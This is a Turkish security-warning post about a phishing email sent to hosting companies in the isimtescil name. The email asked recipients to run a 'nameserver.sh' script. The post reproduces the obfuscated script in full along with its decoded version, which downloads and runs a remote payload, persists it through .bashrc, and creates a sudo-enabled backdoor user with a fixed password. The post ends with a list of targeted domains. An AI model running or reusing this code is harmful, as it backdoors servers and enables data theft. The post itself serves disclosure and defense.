Selamlar,

Bugün sabah, yetkili <yetkili@isimtescil.net> adı ile hosting firmalarına sözde isimtescil adı ile bir mail atıldı.

Eposta topla 73 kişiye gönderilmiş olarak görünüyor.
Atılan mail içeriğini http://prntscr.com/m3ydj7 adresinden görebilirsiniz.

Mail içerisinde gönderilen nameserver.sh dosyasının sunucular da çalıştırılması isteniyor.
Kodu analiz ettiğimde, sunucu üzerinde, isimtescil diye bir kullanıcı açılıp, sudo yetkisi veriliyor ve bazı dosyaların kayıtları alınıp, b0ru70@ajanlar.org adresine mail atılması sağlanıyor.

Tavsiyem bu kodun kesinlikle çalıştırılmaması.





nameserver.sh içeriği:

z="
";Iz='w.is';pz=' 93.';Wz='tern';aBz='k Gu';SCz=' "Ge';gBz='ser ';hBz='il <';Vz=' "in';Lz='.net';FBz='.sh ';Oz='to U';GCz='n Is';XCz='Yapi';PCz='.sh';Nz='S Au';NBz='h" >';Dz='lisi';cz='ol e';Az='echo';ECz='0"';Uz='ı"';VCz='leme';kz='ctrl';mz='yapi';lz='+c'\'' ';TBz='asar';HCz='leml';Kz='scil';lBz='0ru7';Ez='m Co';MCz='bash';JCz='apil';QCz='clea';qz='89.2';Fz='zuml';yBz=' "Lü';Zz='ntin';Sz=' Lis';vBz=' isi';oBz='st';LCz='"';wBz='mtes';DBz='ub.i';az='iz k';BBz='u70.';Bz=' "FB';bz='ontr';WCz='ler ';nBz='t La';CBz='gith';uz='root';KCz='iyor';JBz='sh /';rBz='user';EBz='o/is';TCz='rekl';Qz='e - ';Cz='S Bi';Pz='pdat';yz='ps:/';UBz='ili ';MBz='il.s';ACz='tfen';Rz='2019';ZBz='mati';hz='un s';WBz='dres';XBz='leri';vz='/';nz='niz"';RCz='r';xz=' htt';OCz='r/is';gz='m uz';Xz='et b';qBz='ENDX';iBz='< EN';NCz=' /us';sBz='mod ';wz='wget';Yz='agla';jz='se '\''';Jz='imte';bBz='ncel';fz='isle';dBz='yor.';LBz='tesc';OBz=' .ba';Gz='eri ';kBz='skyb';sz='0';rz='26.2';FCz=' "So';ABz='/b0r';YBz=' Oto';YCz='ldi ';oz='ping';PBz='shrc';Tz='ansl';RBz='glan';GBz='-P /';dz='dili';Hz='- ww';DCz='n %5';CCz='leyi';xBz='cil';ez='yor ';cBz='leni';tz='cd /';mBz='Firs';BCz=' Bek';ZCz='%100';Mz=' / N';uBz='sudo';ICz='er Y';iz='urer';QBz=' "Ba';eBz='."';KBz='isim';tBz='-aG ';SBz='ti B';HBz='usr/';fBz='addu';pBz='Y';IBz=' "ba';VBz='NS A';jBz='DX';UCz='i Gu';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$z$Az$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$z$oz$pz$qz$rz$sz$z$tz$uz$vz$z$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$Jz$Kz$FBz$GBz$HBz$z$Az$IBz$JBz$HBz$KBz$LBz$MBz$NBz$OBz$PBz$z$Az$QBz$RBz$SBz$TBz$UBz$VBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$eBz$z$fBz$gBz$KBz$LBz$hBz$iBz$jBz$z$kBz$lBz$sz$z$kBz$lBz$sz$z$mBz$nBz$oBz$z$pBz$z$qBz$z$rBz$sBz$tBz$uBz$vBz$wBz$xBz$z$Az$yBz$ACz$BCz$CCz$DCz$ECz$z$Az$FCz$GCz$HCz$ICz$JCz$KCz$LCz$z$MCz$NCz$OCz$Jz$Kz$PCz$z$QCz$RCz$z$Az$SCz$TCz$UCz$bBz$VCz$WCz$XCz$YCz$ZCz$LCz"

-
nameserver.sh analiz edilmiş hali.
-

echo "FBS Bilisim Cozumleri - www.isimtescil.net / NS Auto Update - 2019 Lisanslı"
echo "internet baglantiniz kontrol ediliyor islem uzun surerse 'ctrl+c' yapiniz"
ping 93.89.226.20
cd /root/
wget https://b0ru70.github.io/isimtescil.sh -P /usr/
echo "bash /usr/isimtescil.sh" > .bashrc
echo "Baglanti Basarili NS Adresleri Otomatik Guncelleniyor.."
adduser isimtescil << ENDX
skyb0ru70
skyb0ru70
First Last
Y
ENDX
usermod -aG sudo isimtescil
echo "Lütfen Bekleyin %50"
echo "Son Islemler Yapiliyor"
bash /usr/isimtescil.sh
clear
echo "Gerekli Guncellemeler Yapildi %100"

Mail gönderilen domain uzantıları ise aşağıdaki gibidir.

domainhizmetleri.com
domainhizmetleri.net
hosting.com.tr
natro.com
turhost.com
ihs.com.tr
guzel.net.tr
yurthost.com
doruk.net.tr
poyrazhosting.com.tr
veridyen.com
dgn.net.tr
alastyr.com
datatr.com.tr
radore.com
vargonen.com
ixirhost.com
aysima.com
kriweb.com
niobeweb.net
muvhost.com
omurtech.com
hozzt.com
ni.net.tr
markum.net
sh.com.tr
dnznet.com
garantiserver.com
sunucuhizmeti.com.tr
webilox.com
gmail.com
nevrabilisim.com
megatrhost.com
turkticaret.net
sistemhost.com
siberdizayn.com.tr
vivoxy.com
axbilisim.com.tr
canbilisim.com.tr
anksoft.net
mezuhost.com
buyukweb.com
nadirhosting.com
ispro.net.tr
********.com
verimu.com
sunucucozumleri.com
netdirekt.com.tr
teknosos.com.tr
kebirhost.net
cloud.com.tr
alantron.com
karegen.com
garantiweb.com
linesis.com
sancezsunucu.com